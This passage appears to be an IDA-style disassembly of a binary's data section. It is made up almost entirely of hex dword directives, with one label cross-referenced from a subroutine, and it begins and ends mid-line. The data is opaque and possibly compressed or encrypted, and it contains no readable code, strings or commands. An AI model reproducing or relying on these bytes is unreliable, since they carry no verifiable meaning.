1AFF1BFFh, 92674851h dd 0FF47535Eh, 530FBB6Fh, 5F0BBF6Bh, 62B176FFh, 16899E04h dd 0FFC70279h, 0D5D2171h, 0FF948564h, 80916971h, 0E7ED4D65h dd 5F4179F8h, 0A1B70B5Eh, 0FCFF567Ch, 50627896h, 0FF9E74BAh dd 9A60BE4Ch, 866CA248h, 52FAECFFh, 84FC9399h, 93BEFDAFh dd 0B09E58AAh, 45A2AFBFh, 0F84C8334h, 6C3E543Ah, 68C7371Eh dd 264CFF02h, 33281654h, 32FF4918h, 3A4DD60Ch, 0FF103E08h dd 2402F422h, 0D836C016h, 2AFC0AF1h, 2E2D2FDCh, 0E4FF32C0h dd 0F026D4D2h, 0FF3AE8C6h, 0EDD8208Ch, 7E55F4DDh, 9BDF5BFFh dd 0F8967D82h, 8AECF412h, 42BF43FCh, 0F240D0E0h, 0D086FFF4h dd 2C9AC8E6h, 9EFDCCFAh, 20D0FE28h, 18FF8FDAh, 22FF4C08h dd 0F81AE0F3h, 0FF06ECDEh, 1FD2A136h, 0FB2F0713h, 2B134FFFh dd 2BF14BFFh, 0C522FF34h, 0F5BDD5B4h, 0B1FFC999h, 0A4CD9DE1h dd 0FA432EDDh, 0C7B3ABA3h, 0DBAEDE93h, 5D15B36Fh, 6597E1BFh dd 0C2A3BB8Ah, 0FFFF8151h, 8E5CAA33h, 0F940AE78h, 438864B2h dd 9A57F55h, 6A5361C6h, 705E0DFBh, 70FFD900h, 0F16F6036h dd 87023F79h, 26FFFF7Eh, 726B677Dh, 0FE486641h, 7B005BE2h dd 0F9450B4Dh, 5A0F12FFh, 419BEA6Bh, 94735F97h, 0FF86170Eh dd 0A09918A9h, 0BAAA9009h, 9B193FFFh, 554503BCh, 1975FF3Dh dd 7A3E407Fh, 61FF3B34h, 34322434h, 0C24C1046h, 0E5FF093Eh dd 0B5FFED51h, 81180143h, 0FFB82238h, 0D1291C2Dh, 0C52D1CB9h dd 0D1E10DFFh, 0C5F529C9h, 8925FFEDh, 8D31E1D9h, 83FFF5DDh dd 1F8E1A2h, 0FFB08298h, 14FE94DAh, 0A8FA8046h, 0E68CC2FCh dd 1BE8D694h, 0E4896DA4h, 0F02E7FA5h, 0FC1470CAh, 6E4D6E3h dd 0F22EA5FFh, 671AE3D5h, 12131AFCh, 0FF272415h, 0FD339789h dd 3821FE51h, 0F0C2D876h, 0F5625F9Ah, 0E8FFBAC0h, 0D4A6CC82h dd 0B2BFF296h, 967FFFB3h, 54A58265h, 955DF0B5h, 4B1A979h dd 87FFFF7Dh, 5248565Eh, 440AA0FFh, 50147E6Eh, 12B8FD6Ah dd 1BE9775Ch, 0FFD1D34Bh, 0A6D7E17h, 241F6C7Ch, 0FF617BC2h dd 0FF5509E5h, 720FA905h, 5A4A704Eh, 577CBEFFh, 57637BBCh dd 0F3FF1B83h, 9B6301FFh, 876FBB4Fh, 8B3CFFC3h, 871D4993h dd 0BA167BAFh, 8A17ABFFh, 0A8C5B69Fh, 8D9486FFh, 0DF908B86h dd 8B94FE9Eh, 9A918886h, 7609D198h, 85988A2Fh, 9E8DFB32h dd 1DF5F2DEh, 3CDB9360h, 0DF2F1285h, 8ADFFF96h, 979C8A8Dh dd 95029290h, 98908DF6h, 9007BB10h, 3890B691h, 0AEAB3596h dd 0DFB62F2Dh, 0BDF8512h, 909394DFh, 0AF8B176Ch, 858CDB25h dd 9EF6910Fh, 498C968Fh, 0DF9048B6h, 0DFD2DF23h, 8F8ADB8Ch dd 8BED8D1Eh, 0B7528CBFh, 9CD10289h, 0FB3C4E6Bh, 199D8A93h dd 0F717946Dh, 8B8C8685h, 5A855D2Bh, 9C90F692h, 0ED60DF86h dd 63999693h, 8BFE9738h, 0D0C58F8Bh, 0DB88D0h, 0D02F3BD1h dd 939AF697h, 0ED1AD18Fh, 88239392h, 71A12CFFh, 0C00660C3h dd 6A7D04h, 68141768h, 0CC8939E8h, 0FF642E2Fh, 43006C6Ch dd 6F95F94Fh, 0A38743FFh, 5753AAC4h, 310DFF12h, 0EF683345h dd 8B05FFDAh, 461F1F55h, 0C196748Bh, 92324D3Eh, 0B3B844B5h dd 0DD89FAC4h, 13A0DE2Eh, 1E4A8867h, 74FB3E70h, 0A6E00960h dd 0FFC47E06h, 543148D0h, 5013E8D4h, 35499544h, 0C02BF104h dd 45FB0650h, 505054F1h, 7904FE06h, 0BE0005CCh, 0C4FE72E8h dd 0C39041B2h, 28C4683Ah, 55FF425Eh, 0C1C2204Fh, 78C7E887h dd 74402AF5h, 0B6F60C58h, 0F08BABCh, 0B0B6A9A8h, 0BBFE0ABBh dd 0B8AABDBAh, 0ADAD0CC6h, 9C9E1BF9h, 0EDBB341Bh, 696899Ah dd 0FA13CFB3h, 0A7A9B8BAh, 37AA3BBh, 0B2F21660h, 0B4BB1B0h dd 0A3ADFFF4h, 91748F1Dh, 8C11BFBCh, 96B9FF8Ch, 0C9A93D9h dd 11BEAC34h, 0D99AB294h, 0AFBE0CCFh, 18B2B6DBh, 8DFC1B96h dd 0BBBDDFC6h, 9790ADF6h, 9D9EFB0Ah, 5B73ABFFh, 9E8DB201h dd 17B9B6C7h, 0B60DDF92h, 6AA89E9Bh, 880D5E0Bh, 4022FFFFh dd 225F0E86h, 0B890804Ah, 89F78BE6h, 0F69F027Dh, 8D384717h dd 0CEB7CD47h, 8CAF982Ch, 7B988332h, 84038021h, 0B59B9015h dd 0A50A3D17h, 772DCB01h, 12500371h, 2F6E10B5h, 0B9925688h dd 4A026F24h, 85C50F40h, 88E40765h, 16839190h, 617681E5h dd 7571437Eh, 59812C8h, 0E10A6A38h, 109A1270h, 0FF3E803Dh dd 0C27C9BB1h, 0A19F24CCh, 9A92AE88h, 22B40A01h, 362C9B40h dd 0A07F80B1h, 22D03536h, 6C8DA142h, 954456E1h, 5014216Eh dd 0E7D86A4Ah, 11E687E1h, 1056CF20h, 24CAE281h, 6A7408ABh dd 22F0860Ah, 2384AA42h, 70109888h, 22AE8938h, 0FB6BE99Eh dd 0D3013FEDh, 505A38D0h, 0B1459A8Dh, 0A4024802h, 3A134A35h dd 0F1EA0336h, 76C4EC5h, 9D5C69Dh, 8EA40DA4h, 1E7B040Eh dd 9A370119h, 20100F01h, 13013B66h, 0C97D3D0Ah, 0F44DDB05h dd 0F70E4100h, 6A1022CBh, 0D418290h, 96501D8h, 0DC90FECh dd 29091CEAh, 907AF603h, 0E35F4C1h, 7C1F465h, 378C8F82h dd 446D453Ah, 2C8E0F65h, 3D89065h, 16B41E49h, 65C11DC9h dd 0C44247C4h, 4B74890h, 0E2096AC2h, 0B1245455h, 5050C4A3h dd 0B601A748h, 4022454Ah, 2A588E98h, 0FF29C912h, 3192C361h dd 68050040h, 4316E6EDh, 0AC2BB05h, 35FE8D12h, 0D4FF7A25h dd 0A17B68Dh, 56F63AAh, 0EC55AE93h, 22F605C7h, 6FB5EC73h dd 9E0A320Fh, 0C8472520h, 336236FDh, 0D91A607Ch, 53F338B2h dd 3932671Bh, 46B2839Eh, 3A227CA8h, 0B31C19F9h, 99CF3B02h dd 9B4823E2h, 7F3C2C1Dh, 0A9B00D85h, 0ADBEF5C5h, 0C4DB7D91h dd 0FBAB0515h, 52B898Eh, 2E31177Fh, 0DFEE39D7h, 0AE263A11h dd 75056FB0h, 61EE5C4Ch, 9717CB05h, 0DBF38418h, 981180F0h dd 36C2B8EDh, 7131F205h, 63FF6D85h, 5DB0AE2h, 1D633D19h dd 46B3ED81h, 10751192h, 5105AD58h, 0B73AB685h, 636C5189h dd 3D6905ECh, 0BB2E7E53h, 0FB8D8C19h, 7F05D110h, 0A2C6D857h dword_4BA62C dd 1774B705h ; DATA XREF: sub_40EB00+83r dd 0C8EEBC0Ch, 89032D2Dh, 9D1651BFh, 633E0905h, 7AED6829h dd 0F611DE95h, 0B3A2C6Dh, 744BB705h, 5305EC16h, 0EA74293Eh dd 11E82B5Ch, 0ECB3395Bh, 299D0520h, 7FC9E0FDh, 4511BEABh dd 0DF1C4167h, 82CE8B05h, 0E505D938h, 7745FB17h, 5D11B59Ah dd 56B6E10h, 0DC717456h, 8F3FBD6Dh, 60778441h, 2C11C9B7h dd 36E3F288h, 2E7D7505h, 95CED5C7h, 573F628h, 3D3B3FC5h dd 0CEE9B507h, 60B5107Dh, 0E639B805h, 408E5BC0h, 5FA41FDDh dd 116FF1B7h, 0BB81CDB8h, 39B17DDh, 0BE05BBB5h, 5760745h dd 0B91DE074h, 0ACB5F454h, 3B7B0A79h, 6C054887h, 0F06F0AB3h dd 0AB8B115h, 499255EDh, 0AD3BB05h, 15F6FF06h, 64B38D0h dd 164262EFh, 0B18CDB87h, 4CD0AD5h, 439E3FB6h, 9B567900h dd 0E6FF1DA0h, 8D843227h, 0FBD81C9Bh, 1D057BCDh, 551F8844h dd 6FDAB997h, 0EF37607Ch, 0C00529B7h, 53DECA6Eh, 0A7BC92DFh dd 44B24D05h, 4460713Ah, 65983593h, 44BEEC15h, 3AEC737Dh dd 0EB44FB6Fh, 19F6CC52h, 0FB5C2F41h, 4594F79Bh, 8B4F5D05h dd 454F05ECh, 47349C2Eh, 0ED3E2023h, 611E1773h, 0E22C5F6Fh dd 4761D805h, 38A0FB7Fh, 7D116787h, 8388B29Eh, 653D05BEh dd 7B5F0711h, 0D90E22CAh, 0FB1D8805h, 55E1276Fh, 86105D11h dd 6D56056Bh, 0BF04411Ch, 5183898h, 80094810h, 0A7E31DF3h dd 5860E27Dh, 119F5E05h, 95C27919h, 652ED69Ah, 7C48DFABh dd 0F5209B1Bh, 0F98B0848h, 17863E92h, 4D9618B8h, 2C30736Fh dd 21D9059Bh, 0A6C9F49h, 0D99862B9h, 60168B76h, 5D9A22Dh dd 0B1760A90h, 38E07921h, 5B49C5B6h, 0C173ED3Eh, 6155DF40h dd 6F9514D9h, 29B2C305h, 14052AF6h, 0DC33234Ah, 3A4A33EFh dd 3A5CFCBFh, 4BD7634Ah, 434F5EDh, 482D7528h, 0B72D05AEh dd 53650591h, 742254D2h, 3B854AD9h, 1FD04AC5h, 5E04E9AFh dd 0A8A61C6Fh, 0F1E11B44h, 0DBCC1C63h, 0F6054406h, 0E1744AB1h dd 0CDA8E421h, 12A2897Eh, 0B63B7E89h, 0FD8D1225h, 224BBFF2h dd 0E3607A7h, 0AF29474Bh, 1C0255DBh, 0FA24ED4Ah, 6C6F05A9h dd 0D80553F4h, 0FB574B18h, 5A479C4h, 9F555B11h, 6405FAECh dd 0D49DFD29h, 11DD7869h, 37D7F53Fh, 0AFEA7E69h, 177D05D9h dd 38C7C0FDh, 10F68DE5h, 0FDFF05B3h, 5675FD4h, 0A4644C6Dh dd 0CF0AD7D8h, 0EF33DEF4h, 6C3BE4B3h, 61634D38h, 0DF53BC67h dd 57F323Bh, 334DAED9h, 3F1CB936h, 4C50C1Dh, 0FE261BB4h dd 4BFB3AFCh, 644DCD05h, 4E14EC60h, 4E379D27h, 3CBC508Eh dd 390B696Bh, 2279ECC0h, 190AA3BBh, 15E7ECE0h, 8C4F0ABDh dd 2DFBA42Ch, 4F26164Fh, 6279A04Eh, 0A1F6D419h, 4330E54Fh dd 0DF7CB7B7h, 0D693A576h, 2792B705h, 0C805D9ADh, 0AEF7639h dd 2EE1BC33h, 0B41EBE50h, 96396A7Dh, 5F32CD6h, 0DFE72CBAh dd 5A4E9705h, 8E05DCCFh, 26079B1Dh, 6891DAF1h, 8710EBDAh dd 0B49D7F05h, 0C1050F9Eh, 9CD550A4h, 59350C6h, 0A725192h dd 515D4E51h, 7DF77C9h, 3CAC0A52h, 0CDBCCE1Fh, 8C413AE8h dd 689D4D52h, 8F8E8F52h, 73A6A5ACh, 0CE1FED3Dh, 7AF20581h dd 0FE039C3Eh, 7387CF5h, 1DCFFF05h, 15DAFBD3h, 10EB1162h dd 0F97C05F2h, 0BFE40E70h, 0C81CE1F3h, 5343D905h, 53813B68h dd 53862789h, 53D0E124h, 83E51EC5h, 89A81665h, 0A8BB37E0h dd 27C753EEh, 0EC2453F3h, 9D485432h, 3A255458h, 0C547AE1h dd 1A14FD1Ch, 306178Dh, 0FE12DAF9h, 2581DF05h, 848C05FCh dd 0CA9BED54h, 0C60D1F22h, 0C5BB4B6Ah, 99FF09A0h, 0D127B568h dd 0B855EFB7h, 0D1A13DFFh, 0BF8DCCC7h, 99A3326Eh, 0F84B05DFh dd 972F3347h, 66838FF0h, 0C4566083h, 4BBB448Eh, 1B0A0805h dd 59F27A8Ch, 37743956h, 7B1682ACh, 50F003Fh, 22574870h dd 5A41260Dh, 990ACBD2h, 0D82CD963h, 16A8AC38h, 0B343846Fh dd 0D49E16D0h, 438E45DFh, 38C9588Fh, 0E60A94B2h, 0E44361A3h dd 169C58EEh, 92259759h, 59D37659h, 97D84D38h, 59B2E70Ah dd 5A2EF243h, 4B5A564Eh, 3B5A61C9h, 26385B20h, 990ACB25h dd 7D438734h, 0A5725B92h, 5BB45E5Bh, 5C60D949h, 0A653638h dd 43CC745Ch, 935CB93Ch, 0F25C92E5h, 614E5CF4h, 680AF85Dh dd 0A8C80C5h, 336FF24Ch, 0CF76C82Ch, 639F0208h, 2F3420CFh dd 2D7FD5C1h, 0A5A1B1E6h, 96ADF18Dh, 5BBFE8E6h, 0D1CD2CADh dd 59056F19h, 33A5A39Ah, 0CD63830Ch, 0BE1802Eh, 0A4C79DEh dd 1134C79Ah, 1267391Bh, 1188DC89h, 64F1E72Eh, 6F8AB65Fh dd 0C33A39E1h, 5D1B5h, 5A3006Fh, 0C5E63C3h, 8C01B7AFh dd 769D5763h, 0B20A9364h, 219A1523h, 1E6166EAh, 0A8336513h dd 9C260B7Ch, 374CF3E8h, 0ED2E2D67h, 97574C63h, 0FD1C33F6h dd 7DB705E2h, 5D9C5FAh, 20FB175Fh, 1182FBFDh, 17E8E17Dh dd 8305AD7Fh, 5FE2FF6h, 0D67E176Bh, 0DFCE4E98h, 0FC5FA311h dd 47056F65h, 0CBECF8BFh, 0FD177705h, 0FF7BE341h, 0F17E11BEh dd 5D65597h, 0AB2FEB4Bh, 3656121h, 0E7194D1Fh, 0C5116F3Eh dd 89B7565Fh, 0CABF8B05h, 51DF12ACh, 9A052559h, 0ED723567h dd 111F0BB1h, 0AE4B1675h, 96EC1605h, 0FD35A405h, 1C0DACC6h dd 23DD11A0h, 5BE452Ch, 8A589565h, 0B12ACB5Fh, 0AB05D914h dd 90A4FB35h, 7D11F1C7h, 5A296255h, 0C4AB05BEh, 82DB452h dd 98FA65BFh, 9DDB35B7h, 0FB7D18E2h, 0E40B9DFBh, 660BEEFBh dd 7B6C1A0Bh, 930B1334h, 0B277718Ch, 5C92733Dh, 2E669668h dd 172DEB5Ch, 9B175C7Ah, 0D296F08Ch, 0B78066BBh, 6BA82E5Ch dd 5C765C05h, 0A5FE0550h, 5A0B968h, 0A81DE08Bh, 5AE95DAAh dd 8094BFFDh, 0BA82E5A2h, 479505D8h, 1D7B9089h, 5B11F7C2h dd 2B5EA45h, 0D445B505h, 17BFEDB7h, 8E9F8723h, 0A67BFE2h dd 0E8362138h, 0F5717968h, 4793699Eh, 7369B1BDh, 3AE76DF6h dd 53B7675Bh, 56A8540h, 0A816217h, 0A84E056Bh, 28F4D615h dd 0AC3EB5Dh, 0F5BDBC17h, 116B70B3h, 5DAAD27h, 5B52777h dd 406ABF23h, 24EDCE35h, 6E11985Dh, 0DF336A32h, 0D42A0505h dd 540B2F66h, 4CDA5A8h, 0F6356AB1h, 0DEF698B5h, 192DB611h dd 22B6EADBh, 9D19BB91h, 35FCCC6Ah, 2F921C7Ch, 9B50B6B5h dd 7001B1A6h, 0F8739911h, 936AF6B4h, 13DB5FD0h, 71816BB2h dd 6B936B28h, 0E9156555h, 275B6B6Eh, 2C166B87h, 0E2DF376Fh dd 7E9B166Ch, 0F97318EDh, 46E6B80Ah, 6E2EE1Dh, 7337C2B2h dd 0A0058CF0h, 8CA89B2Dh, 0DEF8E01Ch, 5E964773h, 0AAEADA3Bh dd 711BEB1Ch, 400B7F05h, 4205E391h, 1B0474ABh, 0C0B52224h dd 0B8EC2376h, 8CD80A74h, 2CE9F2E4h, 0AFA6C98h, 0BE0B15DFh dd 79C00A77h, 3620161Ch, 0B4370A2Dh, 0A3ED915h, 0A8334F72h dd 98CF60C8h, 3C882371h, 0F2808C82h, 0C8743390h, 0B24CCFA1h dd 0C33C3423h, 0D4F22C8Ch, 0E5C80433h, 2C5FFCC2h, 7807BD15h dd 15F80AF7h, 1B7DFDE1h, 48A15D1Eh, 2E4B7735h, 57FFEAE8h dd 635E5005h, 8CE2A3D5h, 0FBEE32A8h, 6E1D5FFFh, 0A63ABFFFh dd 7FFEE8B2h, 82F55B75h, 0C69D26D4h, 0CA0F6A0Ah, 0C30ACAB1h dd 588E56D2h, 39E60ACFh, 0BEEC9105h, 0CBF766F4h, 0F2FC9220h dd 264E8311h, 0D84CC985h, 0FB8085D0h, 626EED8h, 0E0785B74h dd 0BB056CB5h, 5D9C078h, 80EAFF7Ch, 28D06BB3h, 0D02851Dh dd 2867ED82h, 4FD8EA3Ah, 21F8E63Ch, 0EB05D2DAh, 7805A521h dd 976701D5h, 885F94Ch, 200BF7D8h, 37B1D84h, 59696CEh dd 2D9C077Dh, 8674B72Dh dd 163CCF40h, 0F62286B1h, 0EAD32A54h, 2538B61Ch, 386D1CA6h dd 221C4B4Bh, 0C68D1767h, 0DBA79D02h, 0B7393289h, 5A5B0500h dd 980A7283h, 118E63Ah, 0F62239B3h, 0D8416D51h, 0E4B4E81Ch dd 69891617h, 7001C9FBh, 3F174505h, 6F0874A5h, 14A11168h dd 89DB5952h, 0B8B8050h, 0CF3A5876h, 226762AAh, 0FF1BED19h dd 1CEE1C41h, 6D7B1700h, 0C12E2E61h, 0CEC7866Eh, 0AEA90614h dd 5C00B162h, 0B905372Bh, 5BAF50B8h, 5E8BA156h, 0CF405838h dd 4C278B61h, 1A33CE3h, 8AF5B7ACh, 154437A4h, 9705E1FFh dd 0C51ECB86h, 0B0E64FDAh, 11F8DB38h, 0F33463AFh, 1C9FB43Dh dd 8B4455F4h, 0C5B8C4E0h, 0D6D61FFFh, 907E7C6Fh, 0DC175CC8h dd 2CC7F3Eh, 0FFFEF2EFh, 0FFFCF198h, 3AE9AC31h, 49031773h dd 1B76F0DDh, 0DC241AE0h, 1B4E6355h, 3A6387CFh, 0C31E02F9h dd 8F779623h, 73058D39h, 751A731Fh, 0B734E63Fh, 0E13A907Eh dd 0B7D625B9h, 0E60A9101h, 699B970h, 4D39361Fh, 0B671DA7h dd 8E273DA8h, 3E7F9022h, 16C79551h, 0C3638F4h, 0F80BC696h dd 6497307Ch, 973CE027h, 41D2694Bh, 0BF5EF998h, 0C922C998h dd 0F7B98C5h, 1527169Ah, 8EC259Ah, 0FC6F0B9Bh, 0B90B839h dd 0E0864F0Dh, 5FBC3C55h, 9698D349h, 0A7056E16h, 0B2273B31h dd 4D8F569Bh, 0C82E9CB8h, 0FF9C51F9h, 78786D15h, 92B98D51h dd 92182F27h, 5AD25A63h, 9DD8ED74h, 0C3C5FB17h, 7D117A8Bh dd 81D16969h, 0D2D305BFh, 0DF0503A2h, 0D8469DF2h, 0A4210C0Fh dd 929C3B9Eh, 265D239Fh, 649F5D5Fh, 0A0C6E215h, 0A4A4574Bh dd 0D1205F25h, 9C43A484h, 0ED97A4D6h, 0F7F2A492h, 0A9754EA4h dd 38500AFBh, 70AB2EEh, 0A5FF793Bh, 3BF53E3h, 2405AC5Dh dd 0CA1C7EAAh, 0F505EB13h, 27601B0Ah, 3EAB31F2h, 0B18F3710h dd 0B1740E5Eh, 0AC12DF17h, 0F69F1C7Ch, 0EF330AD2h, 0CDAD72E7h dd 30CC2728h, 7D2582EFh, 0F40B21C6h, 29D6ED2Eh, 5E6F054Ah dd 0C6059453h, 3C2AAE1Bh, 12A1624Eh, 9D62FF71h, 6A0544A2h dd 502963AEh, 0BD0C60E9h, 128ABBA4h, 0EB7C05C1h, 2D822514h dd 4CF3AF01h, 0B152EF58h, 0F9789E0Ah, 7D887865h, 19B20D69h dd 0B21F7BECh, 0B994F322h, 0B9B27D64h, 0A3920191h, 670AFFECh dd 0B31CD99Ch, 0B37E7921h, 0AC6A426h, 11EB79A0h, 0B438228Eh dd 88B00AFBh, 6F0A84ECh, 8BD820ECh, 22FBC1B4h, 0BB94D81Dh dd 7ACE087Dh, 1105BECEh, 0B69CF59Ch, 22F9B548h, 0B52CF5D0h dd 39D8AD24h, 0DEDCD70Ah, 7BB53EECh, 6038CC73h, 0D412B586h dd 0C4DF0A58h, 0EC25F337h, 9B20B61Dh, 2F800A67h, 931856C1h dd 7DD39DA9h, 626CE7ACh, 2E1C1A6Bh, 0A80AC6BAh, 0B6B20D31h dd 0BEC2753Dh, 0B9FD6162h, 9B23BF0Ah, 17C1EB1Dh, 9BB55899h dd 73FA3798h, 8BB53136h, 5B48C205h, 3F1D5282h, 6EA74EB8h dd 8110116Bh, 0C4D9DF2Fh, 0FE4EAE2Ch, 0D25989DBh, 0BEBF8499h dd 0D2998A7Dh, 2611BF65h, 59A7166h, 0FCD8E399h, 0F8D1AEE7h dd 0CBC54A1Bh, 8D8B3A69h, 7AC4EED3h, 828093C0h, 0DF90C084h dd 0B6789E6h, 8CCD3DC4h, 0CD7DD822h, 4169EDFh, 60BDCFFh dd 0F863CDFDh, 26C91A3Dh, 0E26FB7A9h, 711D8334h, 63C11077h dd 9F823DFBh, 0BF6D992Eh, 4D5CDB5Bh, 0E9DBA705h, 702C7BB8h dd 0FBBC3917h, 34C13D40h, 0D91A561Fh, 0A61C6F75h, 8AAB6AE3h dd 7B1C596Dh, 2768C169h, 8346C16Fh, 6C90B6Eh, 8BC8DF83h dd 0AEC1B2FDh, 16C20376h, 9ECB033h, 3C7C56C2h, 0ADB6A11Fh dd 49A2F771h, 9113305h, 2800AE72h, 0B89E6B93h, 9316CB83h dd 12BC9FADh, 37A952C3h, 396C7928h, 3E9B61C3h, 65582E0Ah dd 79DCF821h, 1DE0DF0Bh, 85B7F23Ah, 8AF6D63Fh, 5ADC126h dd 824D14F9h, 9A297F5Bh, 7E05B704h, 83D93465h, 0C39B780Ah dd 0A2C95B4Bh, 22A876C3h, 78BA743Bh, 0E716ADACh, 9EBF91A4h dd 0AC6C758h, 19D47938h, 67E1E424h, 0C636D414h, 0E60ADA8Bh dd 1D1A023Ch, 810BFE73h, 0EB61A8F8h, 1D227A7Dh, 0AD807D0h dd 0CBCBC67Fh, 9FC6AFD9h, 6F0ABB36h, 15CAB244h, 1D0AE2EEh dd 0A9E33364h, 632EC405h, 0BF6D77D6h, 0CFADE205h, 5B4417D9h dd 0FDB3F89Fh, 84C71E05h, 0B2A9BB9h, 0DB3AB83Ch, 0E340C8A9h dd 5B823FAh, 1804C8AEh, 1D16D29Bh, 2E3D291Fh, 0FB6293C8h dd 0BC18C884h, 1097C902h, 6C22C9B2h, 9CE71615h, 0FB005F91h dd 0ECC96574h, 0BCE9C2Eh, 5122FDB4h, 0FC1262CCh, 16CD4ACAh dd 63162CCAh, 572E45CDh, 1EDE0BE4h, 5683441Bh, 0BBF6CBDEh dd 65DFDD7Ch, 886E93CDh, 0F291CDB2h, 0AC5DCD8Fh, 0FB84228Dh dd 7ACDB257h, 39CBC92Eh, 64CDD0C4h, 0CDFCE1EEh, 0CFB22F1Ch dd 0F9BF7418h, 8701D1C8h, 0D282251Dh, 30B38849h, 43789E0Bh dd 880C2266h, 0C93C880h, 20EB97A2h, 503F632h, 4E72D392h dd 0D3595ED3h, 0E468924Bh, 40BC06B1h, 8BD53271h, 48F6B938h dd 9C4D2DD7h, 25D70A97h, 99D812E4h, 0D9C22F4Dh, 2AE2F401h dd 24D9C37Ch, 0AEAD929h, 4BDA017Ah, 0DA2DC259h, 8C484DDDh dd 0CD0FD40Ah, 0AEDB8302h, 1CEC4217h, 219B58DBh, 7DDC180Ah dd 8DDB2C8Eh, 0B1F95842h, 1617DB6Ah, 0EE0A92D8h, 0B82C01FFh dd 0C8770A97h, 4348E4AAh, 29726AE5h, 0F905E3D6h, 0B6C52E5h dd 0D8A5CB78h, 0CEB24B16h, 0C07B5C3Fh, 8E983B0Bh, 4B0BC6EFh dd 4BB3142h, 63DC0AA6h, 15086017h, 674D0BB8h, 0FD24E5EDh dd 0DB14F583h, 0D16B7C02h, 0F664391Dh, 4EA3DD25h, 0C949DD2Ah dd 4B7BDD31h, 572698DDh, 7D4C16CEh, 6297DD64h, 500B677Ch dd 549C833Ch, 5C5CC1F6h, 20CD97C6h, 0EF5CE332h, 0EFAC880h dd 44C9DE42h, 39DE47C9h, 652FDE4Eh, 71E424DEh, 0DE7EBCDEh dd 0B679097h, 8CD83D48h, 0A13E782Eh, 0E10CDF0Eh, 2E0A239Bh dd 0BB3C476Dh, 31888934h, 20E4B2ECh, 8BE019F0h, 35F220E3h dd 0E0834EE0h, 0A98B249h, 14BCB8E4h, 0FC4762E1h, 93E13036h dd 20E1B29Ch, 6F0AD16Ch, 0EDB2DFF0h, 0E332F020h, 0ADBF3A66h dd 167EE392h, 21ED2C1Dh, 0B609E4DCh, 84E50B38h, 0E5379D03h dd 0FF5416F9h, 670A78ACh, 9EB59158h, 6046F85Ch, 0F6E63D7Ch dd 0A2C2B64h, 0B3916867h, 46F06C9Eh, 0E72D7C70h, 0ABEFB08h dd 7978466Ah, 0E47C19A7h, 0D28067E2h, 2F19E81Fh, 9E5C910Ah dd 8C469988h, 9019D479h, 22E90FF4h, 4C0AF91Eh, 8F39819h dd 2ED3E1EBh, 0A60ADCA3h, 904EF129h, 0BFBEFCE8h, 565D3163h dd 62C705DFh, 6E0BACBAh, 6B8946EBh, 2389ECD6h, 0BCA60D7Eh dd 25973437h, 598B74C5h, 0E98BBD83h, 0E36C32B2h, 1DB602EBh dd 0B2229FD5h, 0E8B5AC02h, 5D1BD61Ch, 65D3FE05h, 0EC05BA65h dd 7D0C17E9h, 0FA70F040h, 0F82B531Dh, 0F70505D3h, 3DAA04EBh dd 348FEC0Eh, 0FE3569h, 4CAC57BEh, 5D63017h, 602EE15Bh dd 10EC60C9h, 0EC32F092h, 377B6208h, 3C1E4AECh, 0D20183BEh dd 0B5C0605Bh, 3F9FB4F8h, 4DF212B2h, 2EEE9C9h, 0FC74B7C6h dd 56F8C05h, 5602EC59h, 47EC701Eh, 2B97A6D3h, 4697DF18h dd 0EF6EBE30h, 4401EC7Ch, 0EC9A0Fh, 679F1487h, 0D1ED9A2Dh dd 0EE2710E6h, 0B3746DF1h, 0E8DBE3FEh, 0ECBC05F4h, 0AC9F0C11h dd 3F12ECC2h, 4BECCD4Eh, 46ED01C6h, 7C1226Fh, 0B56D23EDh dd 40504DDBh, 0FE9DED1Bh, 36FD05CFh, 8D9FFD3Ah, 3F51D189h dd 39298D6Bh, 0ED3EF7B4h, 2710E64Ch, 76ED43C9h, 0B8770B8Ch dd 0C7C4C822h, 0CAE0D69Ch, 0D16ACBEDh, 0E924EDEBh, 0ABEDF1E3h dd 7ACFF626h, 35DA421Ch dd 6CDB6E80h, 897ECD4Bh, 24967FF4h, 2CFF1E1Bh, 7EC0842h dd 0F67C1DEEh, 2CA43C6h, 2C10B6D6h, 925905EEh, 24B36E58h dd 0EE7796B1h, 270EA983h, 91E228CFh, 93C9DDC3h, 28CE2135h dd 67287721h, 322D6249h, 0E2551D9Fh, 110FB56Fh, 5B410D6h dd 62C492F8h, 1B1B2569h, 0C86CD21Dh, 31A723EEh, 74FE7CEDh dd 1624F011h, 112B8B4Bh, 0C2801B58h, 8FEE68F0h, 7882F761h dd 56F3AD50h, 9B772DA9h, 0A4465A56h, 10EE80E0h, 0EE97F498h dd 0A4BA6E97h, 0EC9BBDEEh, 0EF042F0Ah, 663B4219h, 0B12615EFh dd 0E3910ACBh, 0B249C963h, 697015F0h, 9A2693F0h, 0E8D91565h dd 0F1167B0Ah, 0F1402736h, 0C16FC463h, 8E2FB91Bh, 0F68AE716h dd 0F14B05FEh, 0FC933EB9h, 0FA98866h, 27F45779h, 4FE8AE7Eh dd 34C65D05h, 9DDCFD70h, 154A93F1h, 0E13FF2B1h, 0F6A43129h dd 9FD15CB8h, 0F220D4DCh, 0E2583423h, 1731B287h, 0B5827F7Ch dd 55B8051Dh, 0A5253B04h, 7609FDE1h, 45F26C52h, 8FF2409Dh dd 98835A68h, 0DC1CAFB5h, 898D7021h, 5105E0DEh, 0D99DC9F2h dd 3668F264h, 0CC5C0AB0h, 43F86C8Dh, 77A4F2E6h, 62F3719Dh dd 8616FB7Bh, 3E961A0Ah, 0AC6B2F1h, 1BDE79ADh, 0F4EC58ECh dd 0F40DBC0Ah, 3FEC2D24h, 699C36F4h, 639F93F4h, 577D640Ah dd 600A8CC8h, 720E9F2h, 0F50AD949h, 0F5473B9Ah, 0CB54264Ch dd 2061B20Ah, 78F59EF6h, 0C9F6034Eh, 671A910Ah, 0EC24F62Bh dd 9C8EF6B3h, 0E93F6DDh, 7678F7B2h, 4E99F736h, 0C249F757h dd 4E07F778h, 4CC9F78Fh, 0BF0AACB1h, 0F815155Ch, 2DC80A64h dd 25826CCFh, 0C5A89AC8h, 2B0A97DEh, 1707F983h, 0F93AE120h dd 0F94D2F76h, 7BECBB64h, 0DA9B2CF9h, 61E72E0Ah, 59DE10DCh dd 0FBD942F0h, 9230894Ch, 12997C05h, 33BE2461h, 2D48C225h dd 28FAB2E8h, 0B90A206Ch, 7B1B8731h, 0EED6F7BFh, 5B2C5D27h dd 2D898DCCh, 2242B2C2h, 18FA5AF5h, 0FA927B8Ch, 0FAA927F1h dd 0AECDB64h, 0F47E43FBh, 8DBA3B4Bh, 0A5AD75E8h, 0D948778Ah dd 17671805h, 13BCED88h, 91F611C6h, 513656Ch, 0CAD923F8h dd 